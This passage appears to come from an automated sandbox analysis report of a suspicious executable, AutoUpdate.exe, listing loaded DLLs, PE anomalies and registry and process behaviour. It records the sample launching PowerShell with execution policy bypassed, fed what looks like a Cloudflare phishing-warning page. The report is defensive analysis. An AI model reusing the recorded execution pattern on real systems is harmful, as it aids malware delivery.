Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: AutoUpdate.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: AutoUpdate.exe

Static file information: File size 76859736 > 1048576

Source: AutoUpdate.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x274200

Source:	Binary string: C:\Windows\System.Management.Automation.pdbpdbion.pdbx source: powershell.exe, 00000004.00000002.2045758985.0000000007FA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbxd source: powershell.exe, 00000004.00000002.2046068791.0000000007FE8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ystem.Management.Automation.pdb source: powershell.exe, 00000004.00000002.2041942659.0000000006FAD000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Suspicious powershell command line found

Source: C:\Users\user\Desktop\AutoUpdate.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass <!DOCTYPE html> <!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--> <!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--> <!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--> <head> <title>Suspected phishing site \| Cloudflare</title> <meta charset="UTF-8" /> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width,initial-scale=1" /> <link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" /> <!--[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--> <style>body{margin:0;padding:0}</style> <!--[if gte IE 10]><!--> <script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie-alert'); cookieEl.style.display = 'block'; }) } </script> <!--<![endif]--> </head> <body> <div id="cf-wrapper"> <div class="cf-alert cf-alert-error cf-cookie-error" id="cookie-alert" data-translate="enable_cookies">Please enable cookies.</div> <div id="cf-error-details" class="cf-error-details-wrapper"> <div class="cf-section cf-wrapper" style="margin-top: 100px;margin-bottom:200px;"> <div class="cf-columns one"> <div class="cf-column"> <h4 class="cf-text-error"><i class="cf-icon-exclamation-sign" style="background-size: 18px; height: 18px; width: 18px; margin-bottom: 2px;"></i> Warning</h4> <h2 style="margin: 16px 0;">Suspected Phishing</h2> <strong>This website has been reported for potential phishing.</strong> <p>Phishing is when a site attempts to steal sensitive information by falsely presenting as a safe source.</p> <div style="display: flex; align-items: center;"> <p> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain"> <input type="hidden" name="atok" value="UwKlRWOOvWBtYJ.FwDwDmXsQcmgI5ndC_Cc6FOD4boY-1734996638-0.0.1.1-/int_clp_ldr_sha.txt"> <button type="submit" class="cf-btn cf-btn-danger" style="color: #bd2426; background: transparent;" data-translate="dismiss_and_enter">Ignore & Proceed</button> </form> </p> </div> <
Source: C:\Users\user\Desktop\AutoUpdate.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass <!DOCTYPE html> <!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--> <!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--> <!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--> <head> <title>Suspected phishing site \| Cloudflare</title> <meta charset="UTF-8" /> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width,initial-scale=1" /> <link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" /> <!--[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--> <style>body{margin:0;padding:0}</style> <!--[if gte IE 10]><!--> <script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie-alert'); cookieEl.style.display = 'block'; }) } </script> <!--<![endif]--> </head> <body> <div id="cf-wrapper"> <div class="cf-alert cf-alert-error cf-cookie-error" id="cookie-alert" data-translate="enable_cookies">Please enable cookies.</div> <div id="cf-error-details" class="cf-error-details-wrapper"> <div class="cf-section cf-wrapper" style="margin-top: 100px;margin-bottom:200px;"> <div class="cf-columns one"> <div class="cf-column"> <h4 class="cf-text-error"><i class="cf-icon-exclamation-sign" style="background-size: 18px; height: 18px; width: 18px; margin-bottom: 2px;"></i> Warning</h4> <h2 style="margin: 16px 0;">Suspected Phishing</h2> <strong>This website has been reported for potential phishing.</strong> <p>Phishing is when a site attempts to steal sensitive information by falsely presenting as a safe source.</p> <div style="display: flex; align-items: center;"> <p> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain"> <input type="hidden" name="atok" value="UwKlRWOOvWBtYJ.FwDwDmXsQcmgI5ndC_Cc6FOD4boY-1734996638-0.0.1.1-/int_clp_ldr_sha.txt"> <button type="submit" class="cf-btn cf-btn-danger" style="color: #bd2426; background: transparent;" data-translate="dismiss_and_enter">Ignore & Proceed</button> </form> </p> </div> <			Jump to behavior

Source: AutoUpdate.exe

Static PE information: section name: .didata

Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AAE6BF push cs; retf	0_2_02AAE6C2
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AAE6D7 push cs; retf	0_2_02AAE6D9
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AAE63F push cs; retf	0_2_02AAE642
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02ADD66E push eax; mov dword ptr [esp], A3A2A190h	0_2_02ADD672
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AAE657 push cs; retf	0_2_02AAE659
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02ADAB4E push eax; mov dword ptr [esp], 9F909192h	0_2_02ADAB5C
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AAF9F7 push cs; retf	0_2_02AAF9F9
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AAF9DF push cs; retf	0_2_02AAF9E2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_046B2923 push cs; retf	6_2_046B292A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_046B29B0 push cs; retf	6_2_046B29B2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_046B2991 push cs; retf	6_2_046B2992
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_046B2B33 push ss; retf	6_2_046B2B3A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_046B2B30 push ss; retf	6_2_046B2B32
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_046B2BB1 push ss; retf	6_2_046B2BB2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_071E0508 pushad ; iretd	6_2_071E0C41

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\AutoUpdate.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\AutoUpdate.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
